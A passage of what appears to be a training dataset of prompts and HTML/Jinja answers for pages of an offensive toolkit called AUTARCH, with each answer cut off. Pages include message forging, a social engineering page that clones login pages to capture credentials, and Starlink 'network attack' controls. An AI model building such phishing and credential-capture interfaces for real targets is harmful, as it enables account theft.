TAB 1: MESSAGES ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"forge\" data-tab=\"messages\">\n<div class=\"section\">\n <h2>Message List</h2>\n <div class=\"form-row\" style=\"margin-bottom:12px;gap:8px;flex-wrap:wrap;align-items:flex-end\">\n <div class=\"form-group\" style=\"min-width:150px;flex:1\">\n <label>Contact Filter</label>\n <select id=\"filter-contact\" onchange=\"forgeLoadMessages()\">\n <option value=\"\">All contacts</option>\n </select>\n </div>\n <div class=\"form-group\" style=\"min-width:150px;flex:1\">\n <label>Keyword</label>\n <input type=\"text\" id=\"filter-keyword\" placeholder=\"Search messages...\" onkeydown=\"if(event.key==='Enter')forgeLoadMessages()\">\n </div>\n <div class=\"form-group\" style=\"min-width:130px;flex:0.7\">\n <label>Date From</label>\n <input type=\"datetime-local\" id=\"filter-date-from\">\n </div>\n <div class=\"form-group\" style=\"min-width:130px;flex:0.7\">\n <label>Date To</label>\n <input type=\"datetime-local\" id=\"filter-date-to\">\n </div>\n <div style=\"display:flex;gap:6px;padding-bottom:2px\">\n <button class=\"btn btn-small\" onclick=\"forgeLoadMessages()\">Filter</button>\n <button class=\"btn btn-small\" onclick=\"forgeClearFilters()\">Clear</button>\n </div>\n </div>\n\n <!-- Chat bubble view -->\n <div id=\"forge-chat\" class=\"forge-chat-container\" style=\"max-height:500px;overflow-y:auto;padding:12px;background:var(--bg-input);border-radius:var(--radius);border:1px solid var(--border);min-height:120px\">\n <div style=\"color:var(--text-muted);text-align:center;padding:40px 0\">No messages loaded</div>\n </div>\n\n <div class=\"tool-actions\" style=\"margin-top:12px\">\n <button class=\"btn btn-primary btn-small\" onclick=\"forgeShowAddSMS()\">+ Add SMS</button>\n <button class=\"btn btn-small\" onclick=\"forgeShowAddMMS()\">+ Add MMS</button>\n <button class=\"btn btn-small\" style=\"margin-left:auto;color:var(--danger)\" onclick=\"forgeClearAll()\">Clear All</button>\n </div>\n</div>\n</div>\n\n<!-- ==================== TAB 2: CONVERSATIONS ==================== -->\n<div class=\"tab-content\" data-tab-group=\"forge\" data-tab=\"conversations\">\n\n<div class=\"section\">\n <h2>Generate from Template</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:12px\">\n Generate a realistic conversation from a built-in or custom template.\n </p>\n <div class=\"form-ro
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Social Eng' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: social_eng.html\nSections: 0\nTabs: 3\nForms/API calls: 3\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Social Engineering — AUTARCH{% endblock %}\n{% block content %}\n<div class=\"page-header\">\n <h1>Social Engineering Toolkit</h1>\n <p class=\"text-muted\">Credential harvesting, pretexts, QR phishing, USB payloads, vishing scripts</p>\n</div>\n\n<!-- Tabs -->\n<div class=\"tabs\">\n <button class=\"tab active\" onclick=\"switchTab('harvest')\">Harvest</button>\n <button class=\"tab\" onclick=\"switchTab('pretexts')\">Pretexts</button>\n <button class=\"tab\" onclick=\"switchTab('qr')\">QR Codes</button>\n <button class=\"tab\" onclick=\"switchTab('campaigns')\">Campaigns</button>\n</div>\n\n<!-- ══════════════════════ HARVEST TAB ══════════════════════ -->\n<div id=\"tab-harvest\" class=\"tab-content active\">\n <!-- Clone Section -->\n <div class=\"card\" style=\"margin-bottom:1rem\">\n <h3>Clone Login Page</h3>\n <p style=\"color:var(--text-secondary);font-size:0.85rem;margin-bottom:0.75rem\">\n Fetch a login page, rewrite form actions to capture credentials through AUTARCH.\n </p>\n <div style=\"display:flex;gap:0.5rem;align-items:end\">\n <div style=\"flex:1\">\n <label class=\"form-label\">Target URL</label>\n <input type=\"text\" id=\"clone-url\" class=\"form-control\" placeholder=\"https://login.example.com/signin\">\n </div>\n <button id=\"clone-btn\" class=\"btn btn-primary\" onclick=\"clonePage()\">Clone Page</button>\n </div>\n <div id=\"clone-result\" style=\"margin-top:0.75rem;display:none\" class=\"card\"\n style=\"background:var(--bg-input);padding:0.75rem;border-radius:var(--radius)\"></div>\n </div>\n\n <!-- Cloned Pages Table -->\n <div class=\"card\" style=\"margin-bottom:1rem\">\n <div style=\"display:flex;justify-content:space-between;align-items:center;margin-bottom:0.75rem\">\n <h3>Cloned Pages</h3>\n <button class=\"btn btn-sm\" onclick=\"loadPages()\">Refresh</button>\n </div>\n <div id=\"pages-list\">\n <p style=\"color:var(--text-muted)\">Loading...</p>\n </div>\n </div>\n\n <!-- Captures Log -->\n <div class=\"card\">\n <div style=\"display:flex;justify-content:space-between;align-items:center;margin-bottom:0.75rem\">\n <h3>Captured Credentials</h3>\n <div style=\"display:flex;gap:0.5rem\">\n <select id=\"cap-filter\" class=\"form-control\" style=\"width:180px;font-size:0.85rem\" onchange=\"loadCaptures()\">\n <option value=\"\">All Pages</option>\n </select>\n <button class=\"btn btn-sm\" onclick=\"loadCaptures()\">Refresh</button>\n <button class=\"btn btn-sm\" style=\"color:var(--danger)\" onclick=\"clearCaptures()\">Clear</button>\n </div>\n </div>\n <div id=\"captures-list\">\n <p style=\"color:var(--text-muted)\">No captures yet.</p>\n </div>\n </div>\n</div>\n\n<!-- ══════════════════════ PRETEXTS TAB ══════════════════════ -->\n<div id=\"tab-pretexts\" class=\"tab-content\" style=\"display:none\">\n <!-- Pretext Templates -->\n <div class=\"card\" style=\"margin-bottom:1rem\">\n <div style=\"display:flex;justify-content:space-between;align-items:center;margin-bottom:0.75rem\">\n <h3>Pretext Templates</h3>\n <select id=\"pretext-cat\" class=\"form-control\" style=\"width:180px;font-size:0.85rem\" onchange=\"loadPretexts()\">\n
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Starlink Hack' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: starlink_hack.html\nSections: 17\nTabs: 3\nForms/API calls: 1\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Starlink Hacking{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1 style=\"color:#ef4444\">Starlink Terminal Security Analysis</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n gRPC exploitation, firmware analysis, network attacks, and RF analysis for Starlink user terminals.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"sl\" data-tab=\"discovery\" onclick=\"showTab('sl','discovery')\">Discovery & Status</button>\n <button class=\"tab\" data-tab-group=\"sl\" data-tab=\"grpc\" onclick=\"showTab('sl','grpc')\">gRPC Control</button>\n <button class=\"tab\" data-tab-group=\"sl\" data-tab=\"network\" onclick=\"showTab('sl','network')\">Network Attack</button>\n <button class=\"tab\" data-tab-group=\"sl\" data-tab=\"rffirmware\" onclick=\"showTab('sl','rffirmware')\">RF & Firmware</button>\n</div>\n\n<!-- ==================== DISCOVERY & STATUS TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"sl\" data-tab=\"discovery\">\n\n<!-- Discover Dish -->\n<div class=\"section\">\n <h2>Discover Dish</h2>\n <div style=\"display:flex;gap:10px;align-items:flex-end;flex-wrap:wrap\">\n <div class=\"form-group\" style=\"margin:0\">\n <label>Dish IP</label>\n <input type=\"text\" id=\"sl-dish-ip\" class=\"form-control\" value=\"192.168.100.1\" style=\"width:200px\">\n </div>\n <button id=\"btn-sl-discover\" class=\"btn btn-primary\" onclick=\"slDiscover()\">Discover</button>\n <button class=\"btn\" onclick=\"slModuleStatus()\" title=\"Module status\">Status</button>\n </div>\n <div id=\"sl-discover-result\" style=\"margin-top:12px\"></div>\n</div>\n\n<!-- Dish Status -->\n<div class=\"section\">\n <h2>Dish Status</h2>\n <div style=\"margin-bottom:8px\">\n <button id=\"btn-sl-status\" class=\"btn btn-primary\" onclick=\"slGetStatus()\">Get Status</button>\n <button class=\"btn\" onclick=\"slGetInfo()\">Device Info</button>\n </div>\n <div id=\"sl-status-result\" style=\"margin-top:12px\"></div>\n</div>\n\n<!-- Network Info -->\n<div class=\"section\">\n <h2>Network & WiFi Clients</h2>\n <button id=\"btn-sl-network\" class=\"btn btn-primary\" onclick=\"slGetNetwork()\">Get Network Info</button>\n <div id=\"sl-network-result\" style=\"margin-top:12px\"></div>\n</div>\n\n<!-- Port Scan -->\n<div class=\"section\">\n <h2>Port Scan</h2>\n <button id=\"btn-sl-portscan\" class=\"btn btn-primary\" onclick=\"slPortScan()\">Scan Dish Ports</button>\n <span id=\"sl-portscan-status\" style=\"margin-left:12px;font-size:0.85rem;color:var(--text-secondary)\"></span>\n <div id=\"sl-portscan-result\" style=\"margin-top:12px\"></div>\n</div>\n\n</div>\n\n<!-- ==================== gRPC CONTROL TAB ==================== -->\n<div class=\"tab-content\" data-tab-group=\"sl\" data-tab=\"grpc\">\n\n<!-- Enumerate Methods -->\n<div class=\"section\">\n <h2>Enumerate gRPC Methods</h2>\n <button id=\"btn-sl-grpc-enum\" class=\"btn btn-primary\" onclick=\"slGrpcEnum()\">Enumerate Methods</button>\n <div id=\"sl-grpc-enum-result\" style=\"margin-top:12px\"></div>\n</div>\n\n<!-- Quick Actions -->\n<div class=\"section\">\n <h2>Quick Actions</h2>\n <p style=\"font-size:0.85rem;color:var(--text-secondary);margin-bottom:10px\">\n Send commands to the Starlink dish via gRPC. Use with caution on production hardware.\n </p>\n <div style=\"display:flex;gap:10px;flex-wrap:wrap\">\n <button class=\"btn\" style=\"border-color:#f97316;color:#f97316\" onclick=\"slGrpcStow()\
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Steganography' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: steganography.html\nSections: 6\nTabs: 2\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Steganography{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Steganography</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Hide data in files, extract hidden messages, and detect steganographic content.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"stego\" data-tab=\"hide\" onclick=\"showTab('stego','hide')\">Hide</button>\n <button class=\"tab\" data-tab-group=\"stego\" data-tab=\"extract\" onclick=\"showTab('stego','extract')\">Extract</button>\n <button class=\"tab\" data-tab-group=\"stego\" data-tab=\"detect\" onclick=\"showTab('stego','detect')\">Detect</button>\n</div>\n\n<!-- ==================== HIDE TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"stego\" data-tab=\"hide\">\n\n<div class=\"section\">\n <h2>Hide Message in File</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:12px\">\n Embed a hidden message into an image, audio, or video carrier file using LSB steganography.\n </p>\n <div class=\"form-row\">\n <div class=\"form-group\">\n <label>Carrier File Path</label>\n <input type=\"text\" id=\"hide-carrier\" placeholder=\"/path/to/image.png\">\n </div>\n <div class=\"form-group\">\n <label>Output File Path</label>\n <input type=\"text\" id=\"hide-output\" placeholder=\"/path/to/output.png\">\n </div>\n </div>\n <div class=\"form-group\">\n <label>Message to Hide</label>\n <textarea id=\"hide-message\" rows=\"5\" placeholder=\"Enter the secret message to embed...\"></textarea>\n </div>\n <div class=\"form-row\">\n <div class=\"form-group\" style=\"max-width:250px\">\n <label>Password (optional, for encryption)</label>\n <input type=\"password\" id=\"hide-password\" placeholder=\"Encryption password\">\n </div>\n <div class=\"form-group\" style=\"max-width:180px\">\n <label>Method</label>\n <select id=\"hide-method\">\n <option value=\"lsb\">LSB (Least Significant Bit)</option>\n <option value=\"dct\">DCT (JPEG)</option>\n <option value=\"spread\">Spread Spectrum</option>\n </select>\n </div>\n </div>\n <div class=\"tool-actions\">\n <button id=\"btn-hide\" class=\"btn btn-primary\" onclick=\"stegoHide()\">Hide Message</button>\n <button class=\"btn btn-small\" onclick=\"stegoCapacity()\">Check Capacity</button>\n </div>\n <pre class=\"output-panel\" id=\"hide-output-result\"></pre>\n</div>\n\n<div class=\"section\">\n <h2>Whitespace Steganography</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:12px\">\n Hide messages using invisible whitespace characters (tabs, spaces, zero-width chars) within text.\n </p>\n <div class=\"form-group\">\n <label>Cover Text</label>\n <textarea id=\"ws-cover\" rows=\"4\" placeholder=\"Enter normal-looking cover text here...\"></textarea>\n </div>\n <div class=\"form-group\">\n <label>Hidden Message</label>\n <input type=\"text\" id=\"ws-hidden\" placeholder=\"Secret message to encode in whitespace\">\n </div>\n <div class=\"tool-actions\">\n <button class=\"btn btn-primary btn-small\" onclick=\"wsEncode()\">Encode</button>\n <button class=\"btn btn-small\" onclick=\"wsDecode()\">Decode</button>\n <button class=\"btn btn-small\" onclick=\"wsCopy()\">Copy Result</button>\n </div>\n <div class=\"form-group\" style=\"margin-to
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'System Deps' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: system_deps.html\nSections: 3\nTabs: 0\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Dependencies - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div>\n <h1>System Dependencies</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Check and install Python packages required by AUTARCH modules.\n </p>\n </div>\n</div>\n\n<!-- System Info -->\n<div class=\"section\" id=\"sys-info-section\" style=\"display:none\">\n <h2>System Info</h2>\n <div class=\"stats-grid\" style=\"grid-template-columns:repeat(auto-fit,minmax(160px,1fr))\">\n <div class=\"stat-card\">\n <div class=\"stat-label\">Python</div>\n <div class=\"stat-value small\" id=\"sys-python\">--</div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Platform</div>\n <div class=\"stat-value small\" id=\"sys-platform\">--</div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">CUDA GPU</div>\n <div class=\"stat-value small\" id=\"sys-gpu\">--</div>\n </div>\n </div>\n</div>\n\n<!-- Dependency Groups -->\n<div class=\"section\">\n <div class=\"tool-actions\">\n <button id=\"btn-check-all\" class=\"btn btn-primary\" onclick=\"depsCheckAll()\">Check All Dependencies</button>\n <span id=\"deps-status\" style=\"font-size:0.8rem;color:var(--text-muted);margin-left:12px\"></span>\n </div>\n\n <div id=\"deps-groups\" style=\"margin-top:16px\">\n <p class=\"empty-state\">Click \"Check All Dependencies\" to scan installed packages.</p>\n </div>\n</div>\n\n<!-- Quick Install -->\n<div class=\"section\">\n <h2>Install Packages</h2>\n <p style=\"font-size:0.8rem;color:var(--text-muted);margin-bottom:12px\">\n Install individual packages or preset groups.\n </p>\n <div class=\"form-row\" style=\"margin-bottom:12px\">\n <div class=\"form-group\" style=\"flex:2\">\n <div class=\"input-row\">\n <input type=\"text\" id=\"install-pkg\" placeholder=\"Package name (e.g., scapy, torch, peft)\">\n <button class=\"btn btn-primary btn-small\" onclick=\"depsInstallOne()\">Install</button>\n </div>\n </div>\n </div>\n\n <div style=\"display:flex;gap:8px;flex-wrap:wrap\">\n <button class=\"btn btn-small\" onclick=\"depsInstallGroup('core')\">Install Core</button>\n <button class=\"btn btn-small\" onclick=\"depsInstallGroup('llm')\">Install LLM</button>\n <button class=\"btn btn-small\" onclick=\"depsInstallGroup('training')\">Install Training</button>\n <button class=\"btn btn-small\" onclick=\"depsInstallGroup('network')\">Install Network</button>\n <button class=\"btn btn-small\" onclick=\"depsInstallGroup('hardware')\">Install Hardware</button>\n </div>\n\n <pre class=\"output-panel\" id=\"install-result\" style=\"margin-top:12px;min-height:0;display:none\"></pre>\n</div>\n\n<script>\nvar _depsGroupPkgs = {\n core: ['flask', 'jinja2', 'requests', 'cryptography'],\n llm: ['llama-cpp-python', 'transformers', 'anthropic'],\n training: ['torch', 'peft', 'datasets', 'trl', 'accelerate', 'bitsandbytes'],\n network: ['scapy', 'pyshark', 'miniupnpc', 'msgpack', 'paramiko'],\n hardware: ['pyserial', 'esptool', 'adb-shell'],\n};\n\nvar _depsGroupLabels = {\n core: 'Core Framework',\n llm: 'LLM Inference',\n training: 'LLM Training (LoRA)',\n network: 'Network & Packet Capture',\n hardware: 'Hardware & Serial',\n};\n\nfunction depsCheckAll() {\n var btn = document.getElementById('btn-check-all');\n setLoading(btn, true
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Targets' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: targets.html\nSections: 3\nTabs: 0\nForms/API calls: 5\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}Targets - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div>\n <h1>Targets</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Manage scope — IPs, CIDRs, domains, and URLs for your engagement.\n </p>\n </div>\n <div style=\"margin-left:auto;display:flex;gap:0.5rem;flex-wrap:wrap\">\n <button class=\"btn btn-sm btn-primary\" onclick=\"toggleAddForm()\">+ Add Target</button>\n <button class=\"btn btn-sm\" onclick=\"exportTargets()\">Export JSON</button>\n <label class=\"btn btn-sm\" style=\"cursor:pointer\" title=\"Import targets from JSON file\">\n Import JSON\n <input type=\"file\" accept=\".json\" style=\"display:none\" onchange=\"importTargets(this)\">\n </label>\n </div>\n</div>\n\n<!-- Add Target Form -->\n<div id=\"add-form\" class=\"section\" style=\"display:none\">\n <h2>Add Target</h2>\n <div style=\"display:grid;grid-template-columns:repeat(auto-fill,minmax(200px,1fr));gap:0.75rem 1rem\">\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"add-host\">Host / IP / CIDR <span style=\"color:var(--danger)\">*</span></label>\n <input type=\"text\" id=\"add-host\" placeholder=\"192.168.1.1 or example.com\">\n </div>\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"add-name\">Name / Label</label>\n <input type=\"text\" id=\"add-name\" placeholder=\"Corp Web Server\">\n </div>\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"add-type\">Type</label>\n <select id=\"add-type\">\n <option value=\"ip\">IP Address</option>\n <option value=\"cidr\">CIDR / Range</option>\n <option value=\"domain\">Domain</option>\n <option value=\"url\">URL</option>\n </select>\n </div>\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"add-os\">OS</label>\n <select id=\"add-os\">\n <option>Unknown</option>\n <option>Linux</option>\n <option>Windows</option>\n <option>macOS</option>\n <option>Android</option>\n <option>iOS</option>\n <option>Network Device</option>\n <option>Other</option>\n </select>\n </div>\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"add-status\">Status</label>\n <select id=\"add-status\">\n <option value=\"active\">Active</option>\n <option value=\"pending\">Pending</option>\n <option value=\"completed\">Completed</option>\n <option value=\"out-of-scope\">Out of Scope</option>\n </select>\n </div>\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"add-ports\">Known Ports</label>\n <input type=\"text\" id=\"add-ports\" placeholder=\"22,80,443,8080\">\n </div>\n </div>\n <div style=\"display:grid;grid-template-columns:1fr 1fr;gap:0.75rem 1rem;margin-top:0.75rem\">\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"add-tags\">Tags (comma-separated)</label>\n <input type=\"text\" id=\"add-tags\" placeholder=\"web, internal, critical\">\n </div>\n <div class=\"form-group\" style=\"margin-bottom:0\">\n <label for=\"add-notes\">Notes</label>\n <input type=\"
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Threat Intel' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: threat_intel.html\nSections: 9\nTabs: 2\nForms/API calls: 0\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Threat Intelligence{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>Threat Intelligence</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n IOC management, threat feeds, and correlation analysis.\n </p>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"ti\" data-tab=\"iocs\" onclick=\"showTab('ti','iocs')\">IOCs</button>\n <button class=\"tab\" data-tab-group=\"ti\" data-tab=\"feeds\" onclick=\"showTab('ti','feeds')\">Feeds</button>\n <button class=\"tab\" data-tab-group=\"ti\" data-tab=\"correlate\" onclick=\"showTab('ti','correlate')\">Correlate</button>\n</div>\n\n<!-- ==================== IOCs TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"ti\" data-tab=\"iocs\">\n\n<div class=\"section\">\n <h2>Add Indicator of Compromise</h2>\n <div class=\"form-row\">\n <div class=\"form-group\">\n <label>IOC Value</label>\n <input type=\"text\" id=\"ioc-value\" placeholder=\"IP, domain, hash, URL, email...\" oninput=\"iocAutoType()\">\n </div>\n <div class=\"form-group\" style=\"max-width:160px\">\n <label>Type</label>\n <select id=\"ioc-type\">\n <option value=\"auto\">Auto-detect</option>\n <option value=\"ipv4\">IPv4</option>\n <option value=\"ipv6\">IPv6</option>\n <option value=\"domain\">Domain</option>\n <option value=\"url\">URL</option>\n <option value=\"email\">Email</option>\n <option value=\"md5\">MD5</option>\n <option value=\"sha1\">SHA1</option>\n <option value=\"sha256\">SHA256</option>\n <option value=\"filename\">Filename</option>\n <option value=\"cve\">CVE</option>\n </select>\n </div>\n <div class=\"form-group\" style=\"max-width:140px\">\n <label>Severity</label>\n <select id=\"ioc-severity\">\n <option value=\"low\">Low</option>\n <option value=\"medium\" selected>Medium</option>\n <option value=\"high\">High</option>\n <option value=\"critical\">Critical</option>\n </select>\n </div>\n </div>\n <div class=\"form-row\">\n <div class=\"form-group\">\n <label>Tags (comma-separated)</label>\n <input type=\"text\" id=\"ioc-tags\" placeholder=\"malware, phishing, c2, apt...\">\n </div>\n <div class=\"form-group\">\n <label>Description</label>\n <input type=\"text\" id=\"ioc-desc\" placeholder=\"Brief description\">\n </div>\n </div>\n <div class=\"tool-actions\">\n <button class=\"btn btn-primary\" onclick=\"iocAdd()\">Add IOC</button>\n </div>\n</div>\n\n<div class=\"section\">\n <h2>IOC Database</h2>\n <div class=\"input-row\">\n <input type=\"text\" id=\"ioc-search\" placeholder=\"Search IOCs...\" oninput=\"iocFilter()\">\n <select id=\"ioc-filter-type\" onchange=\"iocFilter()\" style=\"max-width:150px\">\n <option value=\"\">All Types</option>\n <option value=\"ipv4\">IPv4</option>\n <option value=\"ipv6\">IPv6</option>\n <option value=\"domain\">Domain</option>\n <option value=\"url\">URL</option>\n <option value=\"email\">Email</option>\n <option value=\"md5\">MD5</option>\n <option value=\"sha1\">SHA1</option>\n <option value=\"sha256\">SHA256</option>\n <option value=\"filename\">Filename
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Upnp' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: upnp.html\nSections: 5\nTabs: 0\nForms/API calls: 5\nHas JavaScript: False", "output": "{% extends \"base.html\" %}\n{% block title %}UPnP - AUTARCH{% endblock %}\n\n{% block content %}\n<div class=\"page-header\">\n <h1>UPnP Port Manager</h1>\n {% if available %}\n <form method=\"POST\" action=\"{{ url_for('upnp.refresh') }}\">\n <button type=\"submit\" class=\"btn btn-primary\">Refresh All</button>\n </form>\n {% endif %}\n</div>\n\n{% if not available %}\n<div class=\"section\">\n <div class=\"empty-state\">\n <p>upnpc (miniupnpc) is not installed.</p>\n <p style=\"margin-top:8px\"><code>sudo apt install miniupnpc</code></p>\n </div>\n</div>\n{% else %}\n\n<div class=\"stats-grid\">\n <div class=\"stat-card\">\n <div class=\"stat-label\">External IP</div>\n <div class=\"stat-value small\">{{ external_ip }}</div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Internal IP</div>\n <div class=\"stat-value small\">{{ internal_ip }}</div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Configured Ports</div>\n <div class=\"stat-value\">{{ mappings|length }}</div>\n </div>\n <div class=\"stat-card\">\n <div class=\"stat-label\">Cron Job</div>\n <div class=\"stat-value small\">\n <span class=\"status-dot {{ 'active' if cron.installed else 'inactive' }}\"></span>\n {{ cron.interval if cron.installed else 'Not installed' }}\n </div>\n </div>\n</div>\n\n<div class=\"section\">\n <h2>Configured Mappings</h2>\n {% if mappings %}\n <table class=\"data-table\">\n <thead><tr><th>Port</th><th>Protocol</th><th>Actions</th></tr></thead>\n <tbody>\n {% for m in mappings %}\n <tr>\n <td>{{ m.port }}</td>\n <td>{{ m.protocol }}</td>\n <td>\n <form method=\"POST\" action=\"{{ url_for('upnp.remove') }}\" style=\"display:inline\">\n <input type=\"hidden\" name=\"port\" value=\"{{ m.port }}\">\n <input type=\"hidden\" name=\"protocol\" value=\"{{ m.protocol }}\">\n <button type=\"submit\" class=\"btn btn-small btn-danger\">Remove</button>\n </form>\n </td>\n </tr>\n {% endfor %}\n </tbody>\n </table>\n {% else %}\n <div class=\"empty-state\">No port mappings configured.</div>\n {% endif %}\n</div>\n\n<div class=\"section\">\n <h2>Add Mapping</h2>\n <form method=\"POST\" action=\"{{ url_for('upnp.add') }}\" class=\"form-inline\">\n <div class=\"form-group\">\n <label>Port</label>\n <input type=\"number\" name=\"port\" placeholder=\"443\" min=\"1\" max=\"65535\" required>\n </div>\n <div class=\"form-group\">\n <label>Protocol</label>\n <select name=\"protocol\">\n <option value=\"TCP\">TCP</option>\n <option value=\"UDP\">UDP</option>\n </select>\n </div>\n <button type=\"submit\" class=\"btn btn-success\">Add</button>\n </form>\n</div>\n\n<div class=\"section\">\n <h2>Cron Job</h2>\n {% if cron.installed %}\n <p style=\"margin-bottom:12px\">Running every <strong>{{ cron.interval }}</strong></p>\n <p style=\"margin-bottom:12px;color:var(--text-muted);font-size:0.85rem\"><code>{{ cron.line }}</code></p>\n <form method=\"POST\" action=\"{{ url_for('upnp.cron') }}\">\n <input type=\"hidden\" name=\"action\" value=\"uninstall\">\n <button type=\"submit\" class=\"btn btn-danger\">Uninstall Cron Job</button>\n </form>\n {% else %}\n <p style=\"margin-bottom:12px;color:var(--text-secondary)\">No cron job installed for automatic UPnP refresh.</p>\n <form method=\"POST\" action=\
|
|||
|
|
{"instruction": "Create an AUTARCH web template for the 'Vuln Scanner' page. It should extend base.html, have a page header, and use AUTARCH's CSS variables and UI patterns (sections, tab bars, data tables, buttons).", "input": "Template: vuln_scanner.html\nSections: 6\nTabs: 2\nForms/API calls: 1\nHas JavaScript: True", "output": "{% extends \"base.html\" %}\n{% block title %}AUTARCH — Vulnerability Scanner{% endblock %}\n{% block content %}\n<div class=\"page-header\" style=\"display:flex;align-items:center;gap:1rem;flex-wrap:wrap\">\n <div>\n <h1>Vulnerability Scanner</h1>\n <p style=\"margin:0;font-size:0.85rem;color:var(--text-secondary)\">\n Port scanning, CVE matching, default credential checking, header & SSL analysis, Nuclei integration.\n </p>\n </div>\n <a href=\"{{ url_for('offense.index') }}\" class=\"btn btn-sm\" style=\"margin-left:auto\">← Offense</a>\n</div>\n\n<!-- Tab Bar -->\n<div class=\"tab-bar\">\n <button class=\"tab active\" data-tab-group=\"vs\" data-tab=\"scan\" onclick=\"showTab('vs','scan')\">Scan</button>\n <button class=\"tab\" data-tab-group=\"vs\" data-tab=\"templates\" onclick=\"showTab('vs','templates');vsLoadTemplates()\">Templates</button>\n <button class=\"tab\" data-tab-group=\"vs\" data-tab=\"results\" onclick=\"showTab('vs','results');vsLoadScans()\">Results</button>\n</div>\n\n<!-- ==================== SCAN TAB ==================== -->\n<div class=\"tab-content active\" data-tab-group=\"vs\" data-tab=\"scan\">\n<div class=\"section\">\n <h2>New Scan</h2>\n <div style=\"display:grid;grid-template-columns:1fr auto;gap:1rem;align-items:end;max-width:900px\">\n <div>\n <div class=\"form-group\" style=\"margin-bottom:0.75rem\">\n <label>Target (IP / hostname / URL)</label>\n <input type=\"text\" id=\"vs-target\" class=\"form-control\" placeholder=\"192.168.1.1 or example.com\" onkeypress=\"if(event.key==='Enter')vsStartScan()\">\n </div>\n <div style=\"display:flex;gap:0.75rem;align-items:end;flex-wrap:wrap\">\n <div class=\"form-group\" style=\"margin:0;min-width:140px\">\n <label>Profile</label>\n <select id=\"vs-profile\" class=\"form-control\" onchange=\"vsProfileChanged()\">\n <option value=\"quick\">Quick</option>\n <option value=\"standard\" selected>Standard</option>\n <option value=\"full\">Full</option>\n <option value=\"custom\">Custom</option>\n </select>\n </div>\n <div class=\"form-group\" style=\"margin:0;flex:1;min-width:180px\">\n <label>Ports <span style=\"color:var(--text-muted);font-size:0.75rem\">(optional, overrides profile)</span></label>\n <input type=\"text\" id=\"vs-ports\" class=\"form-control\" placeholder=\"e.g. 1-1024,8080,8443\">\n </div>\n <button id=\"vs-start-btn\" class=\"btn btn-primary\" onclick=\"vsStartScan()\">Start Scan</button>\n </div>\n </div>\n <div id=\"vs-profile-desc\" style=\"font-size:0.8rem;color:var(--text-muted);max-width:220px;padding-bottom:4px\">\n Port scan + service detection + CVE matching + headers + SSL\n </div>\n </div>\n</div>\n\n<!-- Active Scan Progress -->\n<div id=\"vs-active-scan\" class=\"section\" style=\"display:none\">\n <h2>Active Scan</h2>\n <div 